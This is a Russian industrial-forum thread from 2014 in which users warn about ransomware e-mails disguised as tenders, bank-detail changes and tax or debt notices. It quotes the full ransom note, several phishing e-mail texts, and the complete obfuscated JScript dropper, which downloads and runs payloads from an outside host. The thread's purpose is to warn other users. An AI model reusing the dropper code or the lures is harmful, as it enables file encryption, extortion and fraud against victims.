Внимание вирус!

ВНИМАНИЕ!!! С "Чайковский Завод Метизов" с адреса chzm@mail.ru приходит зараженный файл,,Тендерное предложение от "ЧЗМ" 8 который блокирует и повреждает все файлы на компьютере. Интересно кто у них там балуется? Убирают конкурентов? Зарабатывает деньги? Или на этом емайле кто то чужой? Потом появляется письмо что разблокирую после оплаты. РАЗОБРАЛИСЬ БЫ ГОСПОДА !

Файл с этим письмом блокируется на этом сайте, поэтому пишу так;



Все файлы были ВРЕМЕННО ЗАБЛОКИРОВАНЫ с помощью алгоритма RSA-1024

1. Это инструкция. У Вас есть проблема - зашифрованые файлы. Её решить возможно, не переживайте.

2. Для решения данной проблемы нужно объединить наши ресурсы.
Ваши ресурсы:
- e-mail и доверие
- электронная валюта, за урок.
Наши ресурсы:
- Возможность разблокировать Ваш ключ (дешифровщик уже у Вас есть - DECRYPT.exe)
- Гарантии
- Консультации

3. Мы не из тех, кто шифруют данные, получают средства и затем пропадают.
В данном случае Вы и вправду имеете 100% возможность разблокировать файлы.
Только есть небольшое временное ограничение (срок годности ключа не вечный)
Откладывать вопрос "на потом" также не вариант, верить в чудеса не стоит.

4. У Вас есть два варианта:
а) Форматировать диск и вернуть 0% файлов - неразумно
б) Заплатить за свою невнимательность, вернуть 100% файлов и получить консультации - вполне правильно

5. Попробуйте запустите Ваш дешифратор из архива. Вам напишет, что ключ не найден. Вот он Вам и нужен.

6. Тех.справка:
Ваш случай - ассиметричное шифрование RSA-1024, используется в военной сфере. Взломать невозможно.
При шифровании в разные места компьютера был скопирован специальный ID-файл 'KEY.PRIVATE'. Не потеряйте его (!)
Для каждого компьютера ID-файл создается новый. Он уникальный и в нём содержится код на дешифровку. Он нам и нужен
Вы можете обращаться к своим сис.админам, в антивирусные лаборатории. Они Вам ничем, к сожалению, не помогут.

7. Итак, Наши следующие шаги:
7.1. Получаете ГАРАНТИЮ того, что мы МОЖЕМ расшифровать файлы
7.2. Структура Вашего письма:
- вложение Вашего ID-файла 'KEY.PRIVATE' (!!!) - поищите его на компьютере, без него восстановление невозможно
- 1-2 зашифрованных файла для проверки возможности расшифровки
- приблизительное колл-во зашифрованных файлов / компьютеров
### Все это отправляете на ту почту, как были помечены файлы (например: unstyx@gmail.com или unblck@gmail.com) ###

7.3. В течение 1-го часа Вы получите гарантию и стоимость на Ваш ключ
7.4. Далее производится оплата, стоимость от 120 евро.
7.5. Мы отправляем Вам ключ, Вы его кладете в одну папку с дешифратором (DECRYPT.exe) и запускаете дешифратор
7.6. При запуске дешифратора производится скрытая дешифровка данных. Процесс запускать более 1-го раза нельзя.
7.7. Процесс дешифрования может занимать до 6-ти часов. По окончании процесса компьютер перезагрузится.

9. Советы:
9.1. После приобретения ключа, сделайте копию всех важных зашифрованных файлов на внешние носители.
9.2. В процессе дешифрования желательно не трогать компьютер, (!) ДВА раза запускать с ключем дешифратор не нужно.
9.3. Если думаете, что вместо дешифратора Вы получите очередной вирус, тогда поставьте вирт.систему и там проведите декрипт.
9.2. Если какие-то файлы не будут окончательно расшифрованы, мы дорасшифруем вручную
9.3. Как защититься от этого? -Копируйте раз в неделю все на внешние носители и не открывайте подозрительных файлов
WRITE: unblck@gmail.com
CRYPTED DATE: 13.06.2014 / 11:18

Написали конечно они грамотно, дабы сомнений заплатить им не осталось. В шифт думаю верить не стоит, бред все это.

Подтверждаю, есть такая зараза!

Сегодня пришло письмо:

От кого: ООО ПКФ ТехКомБест <oootcb@mail.ru>
Дата: 13 июня 2014 г., 13:37
Тема: Смена реквизитов (2)
Кому: неважно...


Доброго времени суток ув. коллеги!
Обратите внимание на смену наших реквизитов в перечне документации. (см. вложение)


---
С уважением, ООО ПКФ "ТехКомБест".
Республика Башкортостан, г. Стерлитамак
тел. 8(3473) 21-46-61; 21-43-99
Тел,факс: 8 (980) 21-44-84
8-351-79-69-014

Во вложении zip архив с одним js файлом (перечень документации ООО ПКФ ТехКомБест смена банковских реквизитов www.tehkombest.ru (копия - 2) 13.06.2014 _ mail-attachment_DrWеь.KaspеrskуScanned.ОK.dос.js) следующего содержания:

function CreateObject(a){return new ActiveXObject(a)}function DWNDCRYPTO(a,b){b=WshShell.ExpandEnvironmentStrings(b);var c=WScript.CreateObject(_0xa095[3]);c[_0xa095[5]](_0xa095[4],a,!1);c[_0xa095[6]](null);var d=CreateObject(_0xa095[7]+_0xa095[8]);with(d)return Mode=3,Type=1,Open(),Write(c[_0xa095[9]]),SaveToFile(b,1),Close(),b}function Run(a){WshShell.Run(a,0,0)}
var _0xa095='%TEMP%\\ WScript.Shell Scripting.FileSystemObject Msxml2.XMLhttp GET open send ADO DB.Stream responseBody http://unstyx.tw1.ru/document %TEMP%\\document.doc " document.doc" http://unstyx.tw1.ru/cde %TEMP%\\cde.cmd http://unstyx.tw1.ru/svchost %TEMP%\\svchost.cry http://unstyx.tw1.ru/iconv %TEMP%\\iconv.dll http://unstyx.tw1.ru/genkey %TEMP%\\genkey.cry http://unstyx.tw1.ru/secrypt %TEMP%\\secrypt.cry http://unstyx.tw1.ru/uncrypt %TEMP%\\uncrypt.cry http://unstyx.tw1.ru/idblck %TEMP%\\idblck.bin cde.cmd" http://unstyx.tw1.ru/DECRYPT %TEMP%\\DECRYPT.zip http://unstyx.tw1.ru/javav %TEMP%\\javav.cry http://unstyx.tw1.ru/input1 %TEMP%\\input1.cry http://unstyx.tw1.ru/input2 %TEMP%\\input2.cry'.split(" "),DestinationFLE=
_0xa095[0],WshShell=CreateObject(_0xa095[1]),FSO=fso=CreateObject(_0xa095[2]);DWNDCRYPTO(_0xa095[10],_0xa095[11]);try{Run(_0xa095[12]+DestinationFLE+_0xa095[13])}catch(e$$14){}DWNDCRYPTO(_0xa095[14],_0xa095[15]);DWNDCRYPTO(_0xa095[16],_0xa095[17]);DWNDCRYPTO(_0xa095[18],_0xa095[19]);DWNDCRYPTO(_0xa095[20],_0xa095[21]);DWNDCRYPTO(_0xa095[22],_0xa095[23]);DWNDCRYPTO(_0xa095[24],_0xa095[25]);DWNDCRYPTO(_0xa095[26],_0xa095[27]);Run(_0xa095[12]+DestinationFLE+_0xa095[28]);DWNDCRYPTO(_0xa095[29],_0xa095[30]);
DWNDCRYPTO(_0xa095[31],_0xa095[32]);DWNDCRYPTO(_0xa095[33],_0xa095[34]);DWNDCRYPTO(_0xa095[35],_0xa095[36]);

Это уже второй раз, в первый раз пришло письмо с "тендерной заявкой", тоже типа из Башкирии.

ЭТО unblck@gmail.com И ЕСТЬ ВЫМОГАТЕЛИ.
Нагло требуют денег, а будут ли после оплаты функционировать компы или нет неизвестно!

Ясное дело что они вымогатели. Но действуют через с электронок компаний. А получая их почту уже будешь думать стоит ли смотреть. Так от любой заявки будешь шарахаться..

Мне в комп эта зараза попала, даже не понял, как. Теперь приходится все повреждённые файлы восстанавливать...
Найти бы их и наказать...

Пишу сюда, потому что тема обсуждается только здесь. Знакомый позвал помочь с проблемой на его предприятии. 16 июня им пришло письмо от этого же завода, они запустили файл из вложения, и все файлы соответственно зашифровались. Я скопировал его себе на флешку с целью запустить на виртуальной машине, чтобы узнать, какие настройки моего антивируса смогут предотвратить заражение. На виртуальной машине этот вирус мне не удалось заставить работать даже совсем без антивируса. Его деятельность прекращается с ошибкой Adodb.Stream Невозможно записать файл 800A0BBC. Файлы с требованиями и прочие не копируются, шифрование не происходит. Возможно, это связано с недоступностью ресурса, к которому обращается зловред http://unstyx.tw1.ru. Он меня посылает с 403-й ошибкой. Заражения этим вирусом все еще происходят или злоумышленники поменяли адрес или их прикрыли? Или я что-то делаю неправильно?

Я сначала переименовываю файлы (возвращаю прежнее название), потом восстанавливаю предыдущую версию (перед этим вернулся к предыдущей точке восстановления) . Может быть есть более простой способ ?

тоже имела неосторожность открыть архивный файл
От кого: ООО ПКФ ТехКомБест <oootcb@mail.ru>

как расшифровать файлы, подскажите

Попробуйте по выше описанной схеме.

Нам также пришло письмо вирусом. Кто-нибудь обращался непосредственно к отправителю "ЧАЙКОВСКИЙ ЗАВОД МЕТИЗОВ", предоставляют ли они информацию о масштабах рассылки вируса, мерах по предотвращению подобных ситуаций?

Может кому пригодится - предлагается вариант самостоятельного исправления
http://yarportal.ru/topic623549s0.html

Внимание!
Из Казахстана идут рассылки с вирусом в архивированных файлах!

Ну это прямо вредительство сплошное.! Впору компетентные органы подключать чтобы вычислить этого гада.

свои
Давно пора!

_________________
Производство фланцев ГОСТ, ANSI, DIN.
Шаровые краны от Ду 10 до Ду 250. Ру 63 max. (цельносварные, разборные, трехходовые...)
Клапана обратные от Ду 50 до Ду 300 Ру 160 max.
http://нпа74.рф/
http://stroymaks-ural.ru/

Че за хрень? Поставьте антивирусник лицензионный или мозги своему системному администратору выносите. Нахрена нам на арматурном форуме эта бредятина?

_________________
Хочу качественно, быстро и без денег

А по-моему, предупредить коллег о письмах, в которых находятся якобы заявки или "новые реквизиты" в архивированных файлах с вирусом, совершенно не "хрень".
Системные администраторы есть далеко не во всех компаниях.
А антивирусные программы не во всех случаях помогут.
Если пользователь захочет открыть файл с "заявкой", он его откроет. -(
Другое дело, что тему для форума надо назвать типа: "Внимание, вирус!".

klapan
Согласен.

_________________
Производство фланцев ГОСТ, ANSI, DIN.
Шаровые краны от Ду 10 до Ду 250. Ру 63 max. (цельносварные, разборные, трехходовые...)
Клапана обратные от Ду 50 до Ду 300 Ру 160 max.
http://нпа74.рф/
http://stroymaks-ural.ru/

Вот собаки.Спасибо за предупреждение,буду предельно аккуратен с письмами.

Вставлю свои 5 копеек.

Мне приходило письмо якобы от судебных приставов. Типа "в этом году с моей контору будут жестоко дрючить. Более подробно ознакомьтесь с постановлением с файле." А там архив. Открываю. файл: Постановление бла-бла-бла.exe Вот мне-то сразу понятно, что это исполнительный файл, а значит вирусня. А если кто-то не знает? Ну пох, у меня кашмарский стоит, открываю. Он рычит: троян говорит тута. Удалил его и всё.

Кому это нах нужно???

З.Ы. Кашмарский интернет секьюрити на 5 машин брал за 2 рубля или даже дешевле.

_________________
Изготовление промышленного котельного и вспомогательного оборудования.

Вот ещё пришло письмо с вложенным архивированным файлом:
info@drweb.com
"За последние месяцы значительно увеличилось количество обращений от пользователей, пострадавших от вирусов-шифровальщиков.

Аналитический центр Dr.Web установил, что рассылка вирусов осуществлялась и на Ваш электронный адрес.

Мы подготовили простую инструкцию (во вложении), выполнение которой обезопасит Вас от многих уязвимостей.

С Уважением,
Dr.Web."

Возможно тоже с вирусом.

Вчера вечером при входе в эту ветку антивирус на моём компе сильно матерился и не давал открыть страницу. Пришлось звонить Админу. Получается, кто-то из наших вчера внёс сюда какое-то вложение с трояном ?

_________________
"Российское государство ведёт себя, как цыганское племя, которому легче переехать на новую территорию, чем привести в порядок свою..." Василий Ключевский (1841-1911)

Ну да. Это правильно что тему нужно было назвать по другому. Просто я так ошалела, первый раз такое, да еще от имени компании. Думаю надо как то предупредить, кто знает поможет ли антивирус. Мне например не помог. Дома работала за своим ноутбуком. Я хоть и быстро схватилась, все же файлы успели заблокировать. Благо что у меня ничего такого ценного не было. Блокнот, и то что было скачано с интернета сумела разблокировать. Больше морочатся не стала, и удалила все к чертям. Прогнала все через антивирусники, вроде бы все нормально, нигде не глючит, ничего не цепляет. Все работает в обычном режиме. А если бы я открыла файл на рабочем месте!? Кто знает, как вышло бы. Не хотела бы что бы вся работа пошла на смарку. Я теперь прежде чем открыть файл проверяю его на вирус. Лутчше перебдить чем не добдить. А название здесь самим не исправить, думала об этом. Спасибо админу !!!

Вот, почитай http://news.drweb.com/show/?i=5820&c=23

_________________
Изготовление промышленного котельного и вспомогательного оборудования.

Позавчера пришла какая-то херня про задолжность моего предприятия,которого ни когда не было.Пробил эл-ку,ноль и удалил.Вчера пришел докторишка.У нас завелся членовредитель

_________________
СНИМАЕТ СТРЕСС-ДЕНЕЖНЫЙ ПРЕСС

Наши матрёшки made in China
В наших кувшинах нету джина.

Будь хоть красавцем,будь хоть уродом.
Жизнь удалась,если накормлен бутербродом.(R)

Требо -Каспера подключать-Факт!!!!!!

Если не хочется разоряться на лицензию от каспера, то можно скачать пробник тут.

У кого ничего не стоит рекомендую к применению, а то мне кажется что помимо заражения файлы ещё и переправляются куда...

_________________
Да... На Руси, слава Богу... дураков лет на 100 припасено...

спасибо за предупреждение, буду осторожен. а наличие антивируса на компе (даже лицензии каспера), не означает отсутствие на этом компе вирусов!!!

Это не вирус, это вредоносный скрипт, связи с чем антивирусы его не определят.

Мы заплатили, но мошенники нам файлы не восстановили. Всё делали по их инструкции.

812Александр812 , сколько просили ?

6500 рублей.

Добро пожаловать в 21 век

Внимание !!! С "Завод испытательного оборудования" приходят информационные письма и реклама с трояном !

Забыл добавить "Завод испытательного оборудования" г. Москва. Друзья! Вы уж проверте почему от вас "троян" идет?!

Мля... и у меня выявилась хрень unblck@gmail_com
50% фото на компе зашифровалось...(((
К кому посоветуете обратиться с лечением?...
Заранее благодарен...

_________________
Производство деталей трубопроводов высокого давления Ру до 100МПа по ГОСТ Р55599-2013 ( ГОСТ 22790-83 )

глеб

да никуда! Удалять и все!

Вот это ж**а...((( За Я*ЦА бы подвесил гребаных хакеров.................

_________________
Производство деталей трубопроводов высокого давления Ру до 100МПа по ГОСТ Р55599-2013 ( ГОСТ 22790-83 )

глеб
У товарища такая же херня случилась. Только у него ВСЕ фотки по пiзде пошли...
А сделать ничего нельзя. Скрипт ебнврт.

_________________
Изготовление промышленного котельного и вспомогательного оборудования.

Хреново.....((((((((((((((

_________________
Производство деталей трубопроводов высокого давления Ру до 100МПа по ГОСТ Р55599-2013 ( ГОСТ 22790-83 )

Тоже сегодня с почты одного из арматурщиков пришло письмо
"Высылаем Вам акт сверки, просьба подписать и вернуть обратно"
Во вложении архивный файл.
Открыл, и через 30 минут на компе ни одного файла не осталось, все зашифрованные(((
Списался с этими пидорами, просят 600 евро за восстановаление 15000 файлов.
Касперский молчал...

Интерент прошерстил, на форуме касперского и доктора web написали -без вариантов!
Или формат всех дисков с полным удалением ВСЕХ файлов (вся база, вся переписка, база 1С, все фотографии за 7 крайних лет)
Или платите деньги!
Адрес с которого пишут Вам мошенники может быть любым, масса способов написать Вам письмо "с почты знакомого Вам человека"
а сам потом они выходят на связь с почты PayCrypt Seller <paycrypt@gmail.com>
Будьте аккуратны!!!

Я одного не понимаю. У нас вся важная информация на сервере хранится, там 1С и прочее. Если у меня кто то из сотрудников откроет такой файл и с его компьютера есть доступ к серваку, то получается что файлы и на сервере зашифруются? Заранее прошу прощения за глупый вопрос)))

Тут не узнаешь,пока не попробуешь))если в скрипте есть распространение по локальным сетям,то вполне возможно.

пришло сегодня, внутри архив со скриптом, открывать не стал, похоже что то подобное

про таких первый раз слышу, будьте внимательнее!!!!!!!!!!

почта nadezhda.zul@yandex.ru Зулкарнаева Надежда



Здравствуйте,
Прошу Вас проверить оплату по договору с ООО "УралМетМаш". По нашей информации Вами не было оплачено два счета за поставку метала (сканы счетов во вложении).
Надеюсь на оперативный ответ, поскольку наша юридическая служба уже готовит документы к взысканию дебиторки.

--
С уважением к Вам и Вашей работе-
ООО Производственное предприятие "УралМетМаш"

вот это дела! аж страшно становится

ТЕПЕРЬ КАЖДОЕ ПИСЬМО ПРЕЖДЕ ЧЕМ ОТКРЫТЬ, ЛУЧШЕ ВНИМАТЕЛЬНО ИЗУЧИТЬ!

МОЖЕТ СОСТАВЛЯТЬ БАЗУ ЭЛЕКТРОННЫХ ЯЩИКОВ, ОТКУДА ВСЕ ЭТО СЫПЕТСЯ??

да по запарке запросто можешь открыть такое письмо, особенно когда работы валом

вчера пришло:
Уважаемый налогоплательщик! По состоянию на 1.08.2014 за вами числится недоимка
в размере 4700 руб.Согласно порядку списания недоимки и задолженности по пеням,
штрафам и процентам, признанным безнадежными к взысканию, утвержденым приказом
ФНС России от 19.08.10 № ЯК-7-8/393@. будут предприняты следующие действия:

1) направление налогоплательщику требование об уплате налога, сбора и
соответствующей суммы пени;
2) принятие решение о взыскании налога, сбора и соответствующей суммы пени,
которое является основанием для бесспорного взыскания;
3) по истечении срока исполнения требования об уплате налога, сбора составить
на основании решения инкассовое поручение на списание денежных средств
и направить его в ваш банк.

Подробности списания недоимки с банковского счёта в прикреплённом архиве.

Уведомление" <yaroslavyanchupov790@bk.ru>

_________________
Изготовление промышленного котельного и вспомогательного оборудования.

ФНС официальным уведомление по почте такие вещи шлет

Добрый день!
К нам на предприятие сегодня тоже пришло письмо с УралМетМаша. Касперский, слава богу, отработал. Но даже страшно представить, чтобы было, если бы не смог... Спасибо, что подняли такую важную тему! Нигде в интернете практически нет информации по данному вопросу.